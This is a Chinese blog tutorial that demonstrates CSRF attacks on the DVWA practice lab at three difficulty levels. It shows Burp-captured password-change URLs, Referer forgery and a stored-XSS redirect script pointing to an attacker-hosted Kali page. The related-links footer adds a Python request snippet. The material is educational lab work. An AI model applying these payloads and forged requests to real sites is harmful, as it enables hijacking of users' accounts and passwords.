CSRF跨站请求伪造（DVWA演示）

最新推荐文章于 2025-05-30 09:35:59 发布
最新推荐文章于 2025-05-30 09:35:59 发布
阅读量462 收藏 3
点赞数 2
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45070118/article/details/98070910
本文深入解析CSRF（跨站请求伪造）攻击原理，演示不同难度级别的攻击过程，结合DVWA平台进行实操，并探讨CSRF与XSS的区别及结合应用。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

CSRF

(Cross-site request forgery)跨站请求伪造，也被称为"One Click Attack"或者Session Riding，通常缩写为CSRF或者XSRF。
跨站请求伪造是指利用受害者尚未失效的身份认证信息（cookie，会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害人的身份向（身份认证信息时所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。

流程图
在这里插入图片描述

CSRF和XSS的区别
csrf属于业务逻辑漏洞，在服务器看来，所有的请求都是合法正常的。
XSS，SQL注入等等都是属于技术漏洞。
XSS：客户信任服务器
CSRF：服务器信任客户（经过身份验证的）

攻击前提：
1.用户必须登录
2.黑客必须懂得一些发包请求
3.服务器端是不会有二次认证的
4.被害者是不知情的

本次实验结合DVWA平台实验

一共4种初，中，高，结合XSS
这次实验四台机器，黑客两台：一台win10黑客机，一台kali。一台winxp服务器，一台win7用户机。

初级low

源代码
在这里插入图片描述

用户端登陆
在这里插入图片描述
然后选择low，黑客端和用户端要保持一样的级别才行
在这里插入图片描述

黑客端登陆

在这里插入图片描述

在这里插入图片描述
输入想要修改的密码，输入两次
在这里插入图片描述
burpsuite抓包在这里插入图片描述
复制黄色这段url然后DROP丢弃

在这里插入图片描述
用户端在网址中服务器ip后加上抓抓到的url 然后回车
相当于这个url是黑客用户的一个链接，有时候我们网页上会跳出的一些链接或者图片之类的，点进去后就是这样的效果
在这里插入图片描述
进去后就发现密码已被修改
在这里插入图片描述
然后用我们的修改后的123登陆发现登陆成功

中级

源代码
代码中要求用固定SERVER_NAME，也就是服务器IP要确定
在这里插入图片描述
用户登陆，选择中级在这里插入图片描述
黑客端选择中级后，修改密码，抓包，
在这里插入图片描述

把host也就是服务器地址放在referer后，修改好放过
在这里插入图片描述
另一边给一个虚假网址就是和初级一样，包里的url添加到ip后面
然后发现用户这边登陆密码变为了9999

在这里插入图片描述

高级

源代码
在这里插入图片描述
一样的步骤然后抓包，将high改为low
在这里插入图片描述

然后放过
在这里插入图片描述
用户端登陆ip加抓包的url

密码已被修改

在这里插入图片描述

存储型XSS结合CSRF

单凭CSRF一种很容易被察觉，然后将XSS结合CSRF后就变得强大很多，特别是存储型XSS

随意输入想修改的密码，我这里为123
在这里插入图片描述

抓包，
复制框内的url，然后drop放过
在这里插入图片描述
在kali写一个html脚本

在这里插入图片描述
给予权限777

在这里插入图片描述

在存储型语局中加入

<script>window.location="http://192.168.10.129/test.html"</script>

这是一个重定向脚本语句，将页面跳转至kali中的html文件

在这里插入图片描述

如果用户无意中点到一个由黑客制作的网页，那么
自动跳转至脚本的404页面

在这里插入图片描述
在用户以为是正常的一种网络错误时，密码已被修改
重新登陆发现密码已经改为123

在这里插入图片描述
因此我们平时遇见陌生链接的时候千万不要乱点

DVWA 跨站请求伪造（CSRF）
qq_61988806的博客
01-15 2568
dvwa跨站请求伪造（CSRF）
DVWA通关攻略之跨站请求伪造
勿山几已
05-12 623
介绍CSRF攻击并简单演示攻击过程。
DVWA之CSRF(跨站请求伪造攻击)
热门推荐
谢公子的博客
10-01 1万+
目录 Low Middle High Impossible Low 源代码： &lt;?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; ...
dvwa3——CSRF
最新发布
2403_88102829的博客
05-30 1649
先尝试change一组密码：123456修改成功，我们观察上面的url代码将password_new部分与password_conf部分改成我们想要的密码：4321新建一个页面打开，发现密码修改成功。
DVWA通过教程之跨站请求伪造CSRF
→_→
09-16 465
CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF与XSS最大的区别就在于，CSRF并没有盗取cookie而是直接利用。 更多原理请参考：浅谈“跨站请求伪造（CSRF）”-干货满满 测试CSRF，要求能够不通过该页面即可修改用户登录密
DVWA---跨站请求伪造CSRF
wyzhxhn的博客
11-23 996
CSRF
DVWA漏洞靶场-跨站请求伪造(CSRF)
07-30 368
漏洞原理： 　　CSRF（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。与XSS攻击相比，C...
DVWA系列（五）——使用Burpsuite进行CSRF（跨站请求伪造）
weixin_45116657的博客
09-18 2491
CSRF(Cross-site request forgery) CSRF，全称Cross-site request forgery，翻译过来就是跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。CSRF与X...
DVWA系列---CSRF（Cross Site Request Forgery）跨站请求伪造
野原新之助
01-26 743
文章目录一、前言CSRF二、Low级别1、演示2、源码三、Medium级别1、演示2、源码四、High级别1、演示 一、前言 CSRF CSRF（Cross Site Request Forgery）名为“跨站请求伪造”，意思是黑客伪装成用户的身份，利用目标服务器对用户的信任（即用户已经登入，且存有Cookie）进行数据请求或数据更改，达到攻击的目的。 CSRF形成的原因： 1、用户在登陆了网站后...
DVWA CSRF 漏洞实践报告
聚焦网络安全，以多元语言优势汲取知识，分享生动有趣的学习与技术心得。
10-13 2318
CSRF（跨站请求伪造）是一种攻击，使得攻击者能够以受害者的身份执行非预期的操作。在靶场DVWA中，我将尝试通过CSRF漏洞更改管理员密码。
【XSS & CSRF 】泄露cookie——以DVWA-High为例
Mr_Fmnwon的博客
05-23 2148
综合利用XSS以及CSRF实现Cookie的泄露，，，旅程比较曲折跨站脚本攻击XSS（最全最细致的靶场实战）_xss靶场-CSDN博客网站中包含大量的动态内容以提高用户体验，比过去要复杂得多。所谓动态内容，就是根据用户环境和需要，Web应用程序能够输出相应的内容。
DVWA练习——CSRF（跨站请求伪造）
haoaaao的博客
01-27 569
一、难度：low （1）随便点击一下change，网页上面已经显示出了修改信息的url值。 （2）直接修改即可： 回车，信息已经修改： 新密码测试成功： （1）点击html打开，然后验证，发现失败 将html文件放在vul同级目录然后打开，验证失败： 抓包可以看到这里的链接是close 将html文件改为ip.html 验证成功 （2） 失败原因： /*** CSRF ————（二）绕过http_referer来源核对_Benjiamin.
DVWA_CSRF（跨站请求伪造）
yaowink的博客
05-17 401
一、首先像之前一样，进入DVWA Security 改impossible为Low并提交。 进入CSRF页面 点击View Source查看源码，password_new为新密码，password_conf为确认新密码，两个密码相等就会开始改密码，不相等就不会改 这样，于CSRF界面输入新密码，就可以轻易更改密码，例：输入12345并确认新密码，就会提示密码修改成功，这样就可以直接登录DVWA界面。这样是非常不安全的。 不过这样太明显了，一般人也不会去点这个网址，可以通过创建短链接（修改网址显.
DVWA—CSRF（跨站请求伪造）
Cwillchris的博客
10-28 837
实验环境： DVWA靶机：172.16.12.10 windos攻击机：172.16.12.7 kali攻击机：172.16.12.30 实验步骤： 一、Low级 1、源码分析 <?php if( isset( $_GET[ 'Change' ] ) ) { // Get input //获取两个输入框的密码 $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf'.
DVWA-CSRF
STTTM的博客
12-18 1139
LOW等级： 首先进行正常操作。 接下来打开burpsuit抓包 如图所示，将password参数test改为password： 退出DVWA用刚刚修改的密码成功登陆： 由此可知，这个数据包发送给其他用户，只要该用户登陆了DVWA的网站，就能修改他们的密码，攻击者只要修改password_new和password_conf这两个参数为自己想要的密码，将新的get请求的...
DVWA靶场-CSRF跨站请求伪造
mlws1900的博客
03-15 1731
CSRF（Cross—site request forgery），跨站请求伪造，是指利用受害者未失效的身份认证信息（cookie，会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下，以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账，改密等）。设置了token限制，它是在每次访问此页面时，会随机生成一个token，当发起服务器请求时服务器会检查它的值。执行恶意操作，如修改密码，购买商品，转账等（盗用受害者身份，受害者能做什么攻击者就能以受害者身份）
CSRF：跨站请求伪造攻击
qq_68163788的博客
02-05 2195
CSRF（Cross-Site Request Forgery）是一种网络安全攻击，攻击者利用用户已经登录的身份，在用户不知情的情况下发送恶意请求，以执行某些操作或获取用户的敏感信息。攻击者通常会诱使用户访问包含恶意请求的页面，或者通过其他方式注入恶意代码，以触发CSRF攻击。 CSRF攻击通常利用用户在其他网站上的身份验证信息，因此攻击者可以利用这些信息来执行恶意操作，比如更改用户密码、转账、发送消息等。由于CSRF攻击利用了用户的信任和已登录的身份，因此很难被用户察觉。
DVWA 实验报告：3、跨站请求伪造 CSRF
看那白熊
05-14 1842
跨站请求伪造的复现
一步一步学习DVWA--CSRF跨站请求伪造攻击（第五期）
manok的专栏
12-15 436
小朋友们，今天我们开始学习CSRF跨站请求伪造攻击。 CSRF是Cross-site request forgery的首字母拼写，中文一般称为跨站请求伪造，是指利用受害者尚未失效的身份认证信息（cookie、会话等），诱骗其点击恶意链接或者访问包含攻击代码的页面，在受害人不知情的情况下以受害者的身份向（身份认证信息所对应的）服务器发送请求，从而完成非法操作（如转账、改密等）。早在 2007 年就...
csrf dvwa
03-08
### 关于DVWA中的CSRF漏洞 在Web应用程序安全性测试中，DVWA（Damn Vulnerable Web Application）是一个常用的平台用于学习和实践各种类型的Web漏洞。对于跨站请求伪造(CSRF)漏洞，在DVWA环境中提供了不同难度级别的实验场景来帮助理解这一类攻击向量的工作原理[^3]。 当涉及到具体实现时，CSRF攻击通常发生在用户登录到受信任网站之后，攻击者通过诱导受害者点击特制链接或者访问恶意页面的方式，使得受害者的浏览器自动发送已认证过的HTTP请求给目标站点，而无需用户的同意或知晓。为了演示这一点，在DVWA应用里会展示如何构造这样的恶意URL以及可能造成的后果。 此外，值得注意的是，虽然上述提到的内容主要集中在理论层面和技术细节上，但在实际操作过程中还需要考虑防御措施的有效性和绕过方法的研究。例如，可以通过设置强效的Anti-CSRF Token机制来防止此类攻击的发生；而在某些情况下，则要探索这些防护手段中存在的弱点并加以改进。 ```python # 这是一段模拟提交表单数据的Python代码片段， # 它可以用来测试DVWA低级别的CSRF保护功能。 import requests url = 'http://localhost/DVWA/vulnerabilities/csrf/' data = {'change_email': '', 'email_new': '[email protected]', 'Submit': ''} headers = { 'Cookie': 'security=low; PHPSESSID=<your_session_id_here>' } response = requests.post(url, data=data, headers=headers) print(response.text) ```
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值